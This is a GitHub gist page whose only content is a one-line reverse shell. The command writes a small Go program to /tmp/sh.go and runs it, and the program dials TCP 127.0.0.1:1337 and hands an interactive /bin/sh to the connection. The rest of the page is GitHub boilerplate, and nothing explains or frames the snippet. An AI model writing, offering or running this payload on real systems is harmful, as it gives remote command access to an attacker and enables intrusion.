Skip to content

Instantly share code, notes, and snippets.

@avldya
Forked from takeshixx/shell.go
Last active August 29, 2015 14:23
Show Gist options
  • Save avldya/071ceb78b382b32eca7c to your computer and use it in GitHub Desktop.
Save avldya/071ceb78b382b32eca7c to your computer and use it in GitHub Desktop.
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment